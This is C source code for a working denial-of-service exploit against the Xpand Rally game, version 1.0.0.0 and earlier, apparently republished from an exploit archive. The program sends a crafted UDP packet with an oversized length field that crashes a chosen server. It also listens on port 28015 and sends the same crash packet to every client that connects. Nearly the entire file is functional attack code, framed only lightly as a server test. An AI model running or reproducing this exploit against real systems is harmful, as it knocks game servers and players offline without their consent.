by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
#include <winsock.h>

/* inserted winerr.h /str0ke */

/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>

void std_err(void) {
char *error;

switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}

#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif

#define VER "0.1"
#define BUFFSZ 2048
#define TIMEOUT 3
#define PORT 28015
#define BOOM "\x1C\x00\x00\x00" \
"\xff\xff\xff\xff" /* BOOM */
/* "\xff\xff\xff\xff": malloc() fails and we get a writing to unallocated memory
"\xff\x10\x00\x00": malloc() ok but we get a reading from unallocated memory */

#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err();

int timeout(int sock);
u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
on = 1,
psz;
u_short port = PORT;
u_char buff[BUFFSZ + 1],
info[] =
"\x1C\x00\x00\x00"
"\x00\x00\x00\x00" // size, generated at runtime
"\x01"
"\x0A" // 0, 10, 20 or 30 for verbose info
"\x08\x00\x00\x00" "\x00\x00\x00\x00" "\x00\x00\x00\x00";

setbuf(stdout, NULL);

fputs("\n"
"Xpand Rally <= 1.0.0.0 server/clients crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);

if(argc < 2) {
printf("\n"
"Usage: %s <attack> [port(%d)]\n"
"\n"
"Attack:\n"
" c = broadcast clients crash\n"
" s <host> = server crash. If you wanna test your server you must simply use:\n"
" xpandboom s localhost\n"
"\n", argv[0], port);
exit(1);
}

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

if(argv[1][0] == 's') {
if(argc < 3) {
fputs("\nError: you must specify the server IP or hostname\n\n", stdout);
exit(1);
}
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

*(u_long *)(info + 4) = (sizeof(info) - 1) - 8;
fputs("- request informations\n", stdout);
SEND(info);
if(timeout(sd) < 0) {
fputs("\nError: socket timeout, no reply received\n\n", stdout);
exit(1);
}
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
if(len < 0) std_err();

if(len > 23) {
len = buff[26];
buff[27 + len] = 0x00;
printf("\n Server name: %s\n", buff + 27);
len += 27 + 3;
printf(" Players: %d/%d\n", buff[len + 4], buff[len]);
len += 20;
buff[len + 1 + buff[len]] = 0x00;
printf(" Map: %s\n\n", buff + len + 1);
}

fputs("- send BOOM packet\n", stdout);
SEND(BOOM);

fputs("- check server\n", stdout);
SEND(info);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}

} else if(argv[1][0] == 'c') {
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = INADDR_ANY;
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
psz = sizeof(peer);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs(" Clients:\n", stdout);
for(;;) {
len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
if(len < 0) std_err();
buff[len] = 0x00;

printf("%16s : %hu\n",
inet_ntoa(peer.sin_addr),
ntohs(peer.sin_port));

SEND(BOOM);
}

} else {
fputs("\nError: you must choose 's' to test a server or 'c' to test clients\n\n", stdout);
exit(1);
}

close(sd);
return(0);
}

int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}

u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}